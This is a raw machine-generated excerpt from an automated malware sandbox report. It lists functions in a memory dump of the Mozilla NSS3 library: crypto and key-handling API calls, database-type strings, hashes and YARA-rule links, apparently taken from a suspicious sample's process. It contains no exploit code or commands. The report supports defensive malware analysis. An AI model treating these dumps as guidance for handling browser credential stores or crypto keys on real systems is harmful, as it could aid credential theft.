Part of subcall function 6C51FAB0: free.MOZGLUE(?,-00000001,?,?,6C4BF673,00000000,00000000), ref: 6C51FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C530CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C530D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C530D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C530D7D
free.MOZGLUE(00000000), ref: 6C530DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C530DC1
free.MOZGLUE(00000000), ref: 6C530DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C530E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C530E0F

Part of subcall function 6C5095C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C4E7F4A,00000000,?,00000000,00000000), ref: 6C5095E0
Part of subcall function 6C5095C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C4E7F4A,00000000,?,00000000,00000000), ref: 6C5095F5
Part of subcall function 6C5095C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C509609
Part of subcall function 6C5095C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C50961D
Part of subcall function 6C5095C0: PK11_GetInternalSlot.NSS3 ref: 6C50970B
Part of subcall function 6C5095C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C509756
Part of subcall function 6C5095C0: PK11_GetIVLength.NSS3(?), ref: 6C509767
Part of subcall function 6C5095C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C50977E
Part of subcall function 6C5095C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C50978E

Strings

*,Sl, xrefs: 6C530DCC
-$Sl, xrefs: 6C530C64
*,Sl, xrefs: 6C530C69, 6C530DE0, 6C530C80, 6C530C8B, 6C530CAF

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,Sl$*,Sl$-$Sl
API String ID: 3136566230-3899881203
Opcode ID: 71d95ea8e50b2cab39a159433bf8fb2c5bf30cb0bdf6f4ab931dce8e66b4aa4f
Instruction ID: 173b7595be373530cbf34ada7d59a6d9244f5ddf6aa4756522d202b67a3978bc
Opcode Fuzzy Hash: 71d95ea8e50b2cab39a159433bf8fb2c5bf30cb0bdf6f4ab931dce8e66b4aa4f
Instruction Fuzzy Hash: CD41E0B1901219ABEB01DF649C85FAF7BB4EF84308F100529E91957B41F735AA14CBE2

Function 6C525CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6C525EC0,00000000,?,?), ref: 6C525CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6C525CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C525CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C525D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6C525EC0,00000000,?,?), ref: 6C525D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6C525D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C525D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C525D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6C525D80

Strings

extern:, xrefs: 6C525CEA, 6C525D4B
dbm:, xrefs: 6C525D03, 6C525D60
multiaccess:, xrefs: 6C525CB8
sql:, xrefs: 6C525CD1, 6C525D36
NSS_DEFAULT_DB_TYPE, xrefs: 6C525D1A

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: bb757b6f422f1a206b55c6147ecb792c183a76a06a15fb897d8ca8e858e820a0
Instruction ID: e7d81b7b7022d1423a75df76da1a1b8a396b46f75dcad520e6957f76276b2273
Opcode Fuzzy Hash: bb757b6f422f1a206b55c6147ecb792c183a76a06a15fb897d8ca8e858e820a0
Instruction Fuzzy Hash: 673159B17423016BE7001A28CC8DB2A37E8AF0234BF540431ED56F6AC5E779D611C699

Function 6C526CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C5F1DE0,?), ref: 6C526CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C526D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C526D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C526D82
DER_GetInteger_Util.NSS3(?), ref: 6C526DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C526DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C526E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C526F19
PK11_DigestBegin.NSS3(00000000), ref: 6C526F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C526F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C527011
PK11_FreeSymKey.NSS3(00000000), ref: 6C527033
free.MOZGLUE(?), ref: 6C52703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C527060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C527087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C5270AF

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: af7e671f1c677ce0a92b9eaf11c05c9ac9b77ef54e2ff5817dffeca78591702d
Instruction ID: adbfa539320ca6d9558764751a46fb87f6fe88c8155b5ed552b42df68a9e7ca9
Opcode Fuzzy Hash: af7e671f1c677ce0a92b9eaf11c05c9ac9b77ef54e2ff5817dffeca78591702d
Instruction Fuzzy Hash: C6A1F5719093019BEB10DB24CC85B6B72E4EB8130CF244939E918CBBD5EB7DD8498B93

Function 6C4EAEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C4CAB95,00000000,?,00000000,00000000,00000000), ref: 6C4EAF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C4CAB95,00000000,?,00000000,00000000,00000000), ref: 6C4EAF39
PR_Unlock.NSS3(?,?,?,6C4CAB95,00000000,?,00000000,00000000,00000000), ref: 6C4EAF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C4CAB95,00000000,?,00000000,00000000,00000000), ref: 6C4EAF69
TlsGetValue.KERNEL32 ref: 6C4EB06B
EnterCriticalSection.KERNEL32(?), ref: 6C4EB083
PR_Unlock.NSS3(?), ref: 6C4EB0A4
TlsGetValue.KERNEL32 ref: 6C4EB0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C4EB0D9
PR_Unlock.NSS3 ref: 6C4EB102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C4EB151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C4EB182

Part of subcall function 6C51FAB0: free.MOZGLUE(?,-00000001,?,?,6C4BF673,00000000,00000000), ref: 6C51FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C4EB177

Part of subcall function 6C56C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C56C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C4CAB95,00000000,?,00000000,00000000,00000000), ref: 6C4EB1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C4CAB95,00000000,?,00000000,00000000,00000000), ref: 6C4EB1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C4CAB95,00000000,?,00000000,00000000,00000000), ref: 6C4EB1C2

Part of subcall function 6C511560: TlsGetValue.KERNEL32(00000000,?,6C4E0844,?), ref: 6C51157A
Part of subcall function 6C511560: EnterCriticalSection.KERNEL32(?,?,?,6C4E0844,?), ref: 6C51158F
Part of subcall function 6C511560: PR_Unlock.NSS3(?,?,?,?,6C4E0844,?), ref: 6C5115B2

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 83b1f27bb3815e9605756b6a4137ee5b4e5fe36d3e7a7133e90732c2927fc866
Instruction ID: f34c1ea66ce955c8e8badbb2e025d16e83711e69939d69ea7f479b4487ca4a9d
Opcode Fuzzy Hash: 83b1f27bb3815e9605756b6a4137ee5b4e5fe36d3e7a7133e90732c2927fc866
Instruction Fuzzy Hash: 06A1C0B1D00205ABEF00DF64DC81FAEBBB4EF0831AF154129E805A6711E731E959CBE5

Function 6C4F1800 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 169memoryCOMMON

Download Yara Rule

APIs

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C4F1860
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6C4F09BF), ref: 6C4F1897
memcpy.VCRUNTIME140(?,-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C4F18AA
memcpy.VCRUNTIME140(?,?,?), ref: 6C4F18C4
PK11_ImportDataKey.NSS3(00000000,0000402B,00000004,0000010C,?,00000000), ref: 6C4F193F
PK11_DeriveWithTemplate.NSS3 ref: 6C4F1979
PK11_ExtractKeyValue.NSS3(00000000), ref: 6C4F1988
PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6C4F09BF,psk_id_hash,0000000B), ref: 6C4F199F
PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6C4F09BF,psk_id_hash), ref: 6C4F19A8

Part of subcall function 6C50ADC0: TlsGetValue.KERNEL32(?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AE10
Part of subcall function 6C50ADC0: EnterCriticalSection.KERNEL32(?,?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AE24
Part of subcall function 6C50ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C4ED079,00000000,00000001), ref: 6C50AE5A
Part of subcall function 6C50ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AE6F
Part of subcall function 6C50ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AE7F
Part of subcall function 6C50ADC0: TlsGetValue.KERNEL32(?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AEB1
Part of subcall function 6C50ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AEC9

SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001), ref: 6C4F19B6

Part of subcall function 6C51FAB0: free.MOZGLUE(?,-00000001,?,?,6C4BF673,00000000,00000000), ref: 6C51FAC7

SECITEM_DupItem_Util.NSS3(-00000018), ref: 6C4F19F2

Strings

+@, xrefs: 6C4F1971
E-v1, xrefs: 6C4F1880

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: K11_$Item_UtilValuememcpy$CriticalEnterFreeSectionfree$AllocDataDeriveExtractImportTemplateUnlockWithZfreememset
String ID: +@$E-v1
API String ID: 3144289787-3744174662
Opcode ID: 59c161d01dfa8788c77464aaccafb95ded514e6dab2c9bc3efe95c38971be7bb
Instruction ID: 2e9991943e84ab650926e3d99f617c20e2fd7ca64a2353045a549719be7945a3
Opcode Fuzzy Hash: 59c161d01dfa8788c77464aaccafb95ded514e6dab2c9bc3efe95c38971be7bb
Instruction Fuzzy Hash: 5D51A4B1A043019BE700DF29CC80E6BB7E4AFD8318F05852CE99897751E730E945CB96

Function 6C4E2C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?Nl,?,6C4DE477,?,?,?,00000001,00000000,?,?,6C4E3F23,?), ref: 6C4E2C62
EnterCriticalSection.KERNEL32(0000001C,?,6C4DE477,?,?,?,00000001,00000000,?,?,6C4E3F23,?), ref: 6C4E2C76
PL_HashTableLookup.NSS3(00000000,?,?,6C4DE477,?,?,?,00000001,00000000,?,?,6C4E3F23,?), ref: 6C4E2C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C4DE477,?,?,?,00000001,00000000,?,?,6C4E3F23,?), ref: 6C4E2C93

Part of subcall function 6C56DD70: TlsGetValue.KERNEL32 ref: 6C56DD8C
Part of subcall function 6C56DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C56DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C4DE477,?,?,?,00000001,00000000,?,?,6C4E3F23,?), ref: 6C4E2CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C4DE477,?,?,?,00000001,00000000,?,?,6C4E3F23,?), ref: 6C4E2CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C4DE477,?,?,?,00000001,00000000,?,?,6C4E3F23), ref: 6C4E2CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C4DE477,?,?,?,00000001,00000000,?), ref: 6C4E2CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C4DE477,?,?,?,00000001,00000000,?), ref: 6C4E2D4D
EnterCriticalSection.KERNEL32(?), ref: 6C4E2D61
PL_HashTableLookup.NSS3(?,?), ref: 6C4E2D71
PR_Unlock.NSS3(?), ref: 6C4E2D7E

Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07AD
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07CD
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07D6
Part of subcall function 6C4B07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C44204A), ref: 6C4B07E4
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,6C44204A), ref: 6C4B0864
Part of subcall function 6C4B07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C4B0880
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,6C44204A), ref: 6C4B08CB
Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(?,?,6C44204A), ref: 6C4B08D7
Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(?,?,6C44204A), ref: 6C4B08FB

Strings

#?Nl, xrefs: 6C4E2C43

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?Nl
API String ID: 2446853827-2517250713
Opcode ID: 716c060dfcad586fba097412c613aa30307e8ffc5012817cd84fa2fc32095fb9
Instruction ID: 2652599a478dcc80a0675460ce20d6c6067ea3661b0bf6899fdc84978da7b7ce
Opcode Fuzzy Hash: 716c060dfcad586fba097412c613aa30307e8ffc5012817cd84fa2fc32095fb9
Instruction Fuzzy Hash: FB5126B6D00205ABDB00EF25DC85CAAB778BF1934AF058524EC1997B11EB32ED64C7E1

Function 6C53AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C53ADB1

Part of subcall function 6C51BE30: SECOID_FindOID_Util.NSS3(6C4D311B,00000000,?,6C4D311B,?), ref: 6C51BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C53ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C53AE08

Part of subcall function 6C51B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C5F18D0,?), ref: 6C51B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C53AE25
PL_FreeArenaPool.NSS3 ref: 6C53AE63
PR_CallOnce.NSS3(6C622AA4,6C5212D0), ref: 6C53AE4D

Part of subcall function 6C444C70: TlsGetValue.KERNEL32(?,?,?,6C443921,6C6214E4,6C58CC70), ref: 6C444C97
Part of subcall function 6C444C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C443921,6C6214E4,6C58CC70), ref: 6C444CB0
Part of subcall function 6C444C70: PR_Unlock.NSS3(?,?,?,?,?,6C443921,6C6214E4,6C58CC70), ref: 6C444CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C53AE93
PR_CallOnce.NSS3(6C622AA4,6C5212D0), ref: 6C53AECC
PL_FreeArenaPool.NSS3 ref: 6C53AEDE
PL_FinishArenaPool.NSS3 ref: 6C53AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C53AEF5
PL_FinishArenaPool.NSS3 ref: 6C53AF16

Strings

security, xrefs: 6C53ADEE

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 72cfb614d7cd2761543a72cc08f1d3b98b5a3d9d65046816abd7821a9c84ecf2
Instruction ID: 69992a980bf02ea6f8f832cca44fbb843ba035ced9388c56e39970c84bb072b4
Opcode Fuzzy Hash: 72cfb614d7cd2761543a72cc08f1d3b98b5a3d9d65046816abd7821a9c84ecf2
Instruction Fuzzy Hash: 01412FB5804220A7FF119B549C45FAB33B4AF9231CF141525E85897FD1FB39A908C6D3

Function 6C5DAF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C589890: TlsGetValue.KERNEL32(?,?,?,6C5897EB), ref: 6C58989E

EnterCriticalSection.KERNEL32(?), ref: 6C5DAF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C5DAFCE
PR_SetPollableEvent.NSS3(?), ref: 6C5DAFD9
EnterCriticalSection.KERNEL32(?), ref: 6C5DAFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C5DB00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C5DB02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C5DB070
PR_JoinThread.NSS3(?), ref: 6C5DB07B
free.MOZGLUE(?), ref: 6C5DB084
EnterCriticalSection.KERNEL32(?), ref: 6C5DB09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C5DB0C4
PR_JoinThread.NSS3(?), ref: 6C5DB0F3
free.MOZGLUE(?), ref: 6C5DB0FC
PR_JoinThread.NSS3(?), ref: 6C5DB137
free.MOZGLUE(?), ref: 6C5DB140

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: bf43f3cde58a7827b59cacf12bf9b6dad62e0a9882847d215e3c75ef4ae9ac8e
Instruction ID: d1e669213c9bf583da8719462b3f11ffe74254325ae30088bb73647b8b9f42a0
Opcode Fuzzy Hash: bf43f3cde58a7827b59cacf12bf9b6dad62e0a9882847d215e3c75ef4ae9ac8e
Instruction Fuzzy Hash: 169140B5901612DFCB00DF19C88084ABBF1FF8535872A85A9D81A5BB21E732FD45CF95

Function 6C4E2980 Relevance: 22.7, APIs: 15, Instructions: 217COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C4C9E71,?,?,6C4DF03D), ref: 6C4E29A2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C4C9E71,?), ref: 6C4E29B6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C4C9E71,?,?,6C4DF03D), ref: 6C4E29E2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C4C9E71,?), ref: 6C4E29F6
PL_HashTableLookup.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C4C9E71,?), ref: 6C4E2A06
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C4C9E71), ref: 6C4E2A13

Part of subcall function 6C56DD70: TlsGetValue.KERNEL32 ref: 6C56DD8C
Part of subcall function 6C56DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C56DDB4

PR_Unlock.NSS3(?), ref: 6C4E2A6A
TlsGetValue.KERNEL32 ref: 6C4E2A98
EnterCriticalSection.KERNEL32(?), ref: 6C4E2AAC
PL_HashTableLookup.NSS3(?,?), ref: 6C4E2ABC
PR_Unlock.NSS3(?), ref: 6C4E2AC9
TlsGetValue.KERNEL32 ref: 6C4E2B3D
EnterCriticalSection.KERNEL32(?), ref: 6C4E2B51
PL_HashTableLookup.NSS3(?,6C4C9E71), ref: 6C4E2B61
PR_Unlock.NSS3(?), ref: 6C4E2B6E

Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07AD
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07CD
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07D6
Part of subcall function 6C4B07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C44204A), ref: 6C4B07E4
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,6C44204A), ref: 6C4B0864
Part of subcall function 6C4B07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C4B0880
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,6C44204A), ref: 6C4B08CB
